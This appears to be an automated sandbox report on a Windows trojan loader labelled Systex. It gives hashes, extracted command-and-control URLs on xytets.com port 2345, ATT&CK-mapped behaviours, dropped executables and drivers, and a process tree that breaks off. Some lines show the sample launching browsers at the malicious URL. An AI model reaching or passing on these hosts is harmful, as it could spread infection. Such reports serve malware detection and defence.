systex | 2674454fb79999add03c081eecefe3ada2e294df34fb1f29170313241b67923d

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 02:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260707-dacl7adv8k
SHA256 2674454fb79999add03c081eecefe3ada2e294df34fb1f29170313241b67923d
MD5 7baa0150ab904ea52b4e6adf5fa87fb2
SHA1 93931173d8bd89a90916765b4a752d47ac2a7e74
SHA512 c0874e2f41d17b6264ab3ff0ebf8b4ceafd660731f7ce8102165f793e23fa7fb97759a51f091f747dea38841ae27fec35dbc4362b554208756e9c3b9f5a085fc
SSDEEP 3072:dJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:dghLQ0sQmpcF8BzXfwVfAI
TLSH
T128344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5392	CP.exe
4852	mhfxsmkezu.exe
2348	CP.exe
1184	CP.exe
4228	i_mhfxsmkezu.exe
1580	gecwuojhez.sys
1648	CP.exe
4848	wuomgeywro.exe
4476	CP.exe
3304	CP.exe
5284	i_wuomgeywro.exe
2472	jgbztrojhb.sys
3976	CP.exe
1844	ywqomgeywt.exe
2984	CP.exe
5812	CP.exe
4184	i_ywqomgeywt.exe
4460	gbytrljeyw.sys
5808	CP.exe
3112	tqljdbvqoi.exe
3028	CP.exe
3244	CP.exe
5464	i_tqljdbvqoi.exe
2548	vqoigayvtn.sys
5640	CP.exe
5540	qlidbvtnlg.exe
4564	CP.exe
1100	CP.exe
5516	i_qlidbvtnlg.exe
5008	nlfdxvqnif.sys
3740	CP.exe
5716	kigaysqlid.exe
1148	CP.exe
4992	CP.exe
5096	i_kigaysqlid.exe
4124	fdausqkica.sys
2784	CP.exe
4712	fcxvpnhfax.exe
3560	CP.exe
2928	CP.exe
3504	i_fcxvpnhfax.exe
1628	vpnhfcaxsq.sys
5908	CP.exe
1320	xupmcxupnk.exe
1852	CP.exe
4448	CP.exe
1204	i_xupmcxupnk.exe
5276	hfzxrpkhca.sys
2808	CP.exe
5172	fzxrpkecwu.exe
5372	CP.exe
6100	CP.exe
616	i_fzxrpkecwu.exe
3420	ecwuomjhez.sys
2664	CP.exe
2696	bzxromhezx.exe
5024	CP.exe
4788	CP.exe
2600	i_bzxromhezx.exe
1560	rmjhbzwrom.sys
1068	CP.exe
2364	jdbwtomgey.exe
5092	CP.exe
760	CP.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_368557406\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_536652584\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1738720658\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1738720658\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1649602516\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1649602516\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1649602516\smart_switch_list.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_536652584\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1420_1649602516\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmcxupnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxrpkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kigaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfxsmkezu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqljdbvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkecxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhczurmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqljdbvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kigaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwuomgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwuomgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqomgeywt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhczurmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfxsmkezu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmcxupnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxrpkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aywqoigdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqomgeywt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqkifdau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnifaxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aywqoigdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkecxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzxromhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzxromhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqkifdau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnifaxvpnk.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5264	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4364	ipconfig.exe
1300	ipconfig.exe
5704	ipconfig.exe
1244	ipconfig.exe
1768	ipconfig.exe
3912	ipconfig.exe
3056	ipconfig.exe
1540	ipconfig.exe
2480	ipconfig.exe
5532	ipconfig.exe
2088	ipconfig.exe
2616	ipconfig.exe
4104	ipconfig.exe
5884	ipconfig.exe
4204	ipconfig.exe
2920	ipconfig.exe
3596	ipconfig.exe
4392	ipconfig.exe
3296	ipconfig.exe
704	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3816465931-3623202676-2955785815-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3816465931-3623202676-2955785815-1000\{84CE214D-B928-4853-B274-5257FB44771E}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe
4852	mhfxsmkezu.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe
1420	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	i_mhfxsmkezu.exe
Token: SeDebugPrivilege	5284	i_wuomgeywro.exe
Token: SeDebugPrivilege	4184	i_ywqomgeywt.exe
Token: SeDebugPrivilege	5464	i_tqljdbvqoi.exe
Token: SeDebugPrivilege	5516	i_qlidbvtnlg.exe
Token: SeDebugPrivilege	5096	i_kigaysqlid.exe
Token: SeDebugPrivilege	3504	i_fcxvpnhfax.exe
Token: SeDebugPrivilege	1204	i_xupmcxupnk.exe
Token: SeDebugPrivilege	616	i_fzxrpkecwu.exe
Token: SeDebugPrivilege	2600	i_bzxromhezx.exe
Token: SeDebugPrivilege	5276	i_jdbwtomgey.exe
Token: SeDebugPrivilege	2472	i_ywqojgbztr.exe
Token: SeDebugPrivilege	5740	i_aywqoigdyv.exe
Token: SeDebugPrivilege	3024	i_dbvtnlfdyv.exe
Token: SeDebugPrivilege	3452	i_aysqkifdau.exe
Token: SeDebugPrivilege	200	i_qnifaxvpnk.exe
Token: SeDebugPrivilege	2992	i_usmkecxupn.exe
Token: SeDebugPrivilege	6092	i_pjhczurmke.exe
Token: SeDebugPrivilege	4480	i_omgebwuomg.exe
Token: SeDebugPrivilege	2412	i_bwuomgezwr.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1420	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 5116	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	86
PID 1624 wrote to memory of 5816	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	87
PID 5816 wrote to memory of 2304	5816	iexplore.exe	88
PID 5116 wrote to memory of 1420	5116	iexplore.exe	89
PID 1420 wrote to memory of 5876	1420	msedge.exe	90
PID 1420 wrote to memory of 5264	1420	msedge.exe	91
PID 1420 wrote to memory of 4176	1420	msedge.exe	92
PID 1420 wrote to memory of 4176	1420	msedge.exe	92
PID 1420 wrote to memory of 4176	1420	msedge.exe	92
PID 1420 wrote to memory of 1012	1420	msedge.exe	93
PID 1420 wrote to memory of 1012	1420	msedge.exe	93
PID 1420 wrote to memory of 3920	1420	msedge.exe	95
PID 1420 wrote to memory of 3920	1420	msedge.exe	95
PID 1420 wrote to memory of 3920	1420	msedge.exe	95
PID 1420 wrote to memory of 5788	1420	msedge.exe	96
PID 1420 wrote to memory of 5788	1420	msedge.exe	96
PID 1420 wrote to memory of 5788	1420	msedge.exe	96
PID 1420 wrote to memory of 5960	1420	msedge.exe	97
PID 1420 wrote to memory of 5960	1420	msedge.exe	97
PID 1420 wrote to memory of 5960	1420	msedge.exe	97
PID 1420 wrote to memory of 1960	1420	msedge.exe	98
PID 1420 wrote to memory of 1960	1420	msedge.exe	98
PID 1420 wrote to memory of 1960	1420	msedge.exe	98
PID 1420 wrote to memory of 5176	1420	msedge.exe	99
PID 1420 wrote to memory of 5176	1420	msedge.exe	99
PID 1420 wrote to memory of 5176	1420	msedge.exe	99
PID 1624 wrote to memory of 5392	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	101
PID 4852 wrote to memory of 2348	4852	mhfxsmkezu.exe	104
PID 1420 wrote to memory of 824	1420	msedge.exe	107
PID 1420 wrote to memory of 6128	1420	msedge.exe	108
PID 1420 wrote to memory of 824	1420	msedge.exe	107
PID 1420 wrote to memory of 6128	1420	msedge.exe	108
PID 1420 wrote to memory of 3872	1420	msedge.exe	110
PID 1420 wrote to memory of 2984	1420	msedge.exe	111
PID 1420 wrote to memory of 2984	1420	msedge.exe	111
PID 1420 wrote to memory of 1800	1420	msedge.exe	112
PID 1420 wrote to memory of 1800	1420	msedge.exe	112
PID 1420 wrote to memory of 1800	1420	msedge.exe	112
PID 1624 wrote to memory of 1184	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	113
PID 1420 wrote to memory of 1480	1420	msedge.exe	117
PID 1420 wrote to memory of 1480	1420	msedge.exe	117
PID 1420 wrote to memory of 2056	1420	msedge.exe	118
PID 1420 wrote to memory of 2056	1420	msedge.exe	118
PID 1624 wrote to memory of 1648	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 4848 wrote to memory of 4476	4848	wuomgeywro.exe	123
PID 1624 wrote to memory of 3304	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 1624 wrote to memory of 3976	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 1844 wrote to memory of 2984	1844	ywqomgeywt.exe	132
PID 1624 wrote to memory of 5812	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	135
PID 1624 wrote to memory of 5808	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	139
PID 3112 wrote to memory of 3028	3112	tqljdbvqoi.exe	141
PID 1624 wrote to memory of 3244	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	144
PID 1420 wrote to memory of 2612	1420	msedge.exe	146
PID 1420 wrote to memory of 5884	1420	msedge.exe	147
PID 1420 wrote to memory of 2520	1420	msedge.exe	148
PID 1624 wrote to memory of 5640	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 5540 wrote to memory of 4564	5540	qlidbvtnlg.exe	153
PID 1624 wrote to memory of 1100	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 1624 wrote to memory of 3740	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 5716 wrote to memory of 1148	5716	kigaysqlid.exe	162
PID 1624 wrote to memory of 4992	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 1624 wrote to memory of 2784	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 4712 wrote to memory of 3560	4712	fcxvpnhfax.exe	171
PID 1624 wrote to memory of 2928	1624	2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe	174

C:\Users\Admin\AppData\Local\Temp\2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-06_7baa0150ab904ea52b4e6adf5fa87fb2_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffaa18bc188,0x7ffaa18bc194,0x7ffaa18bc1a0
      4⤵
      PID:5876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2032,i,11148922280430403066,11982440453280812140,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:11
      4⤵
      System Time Discovery
      PID:5264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1864,i,16991984608153748484,3449338787118211530,262144 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:2
      4⤵
      PID:4176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
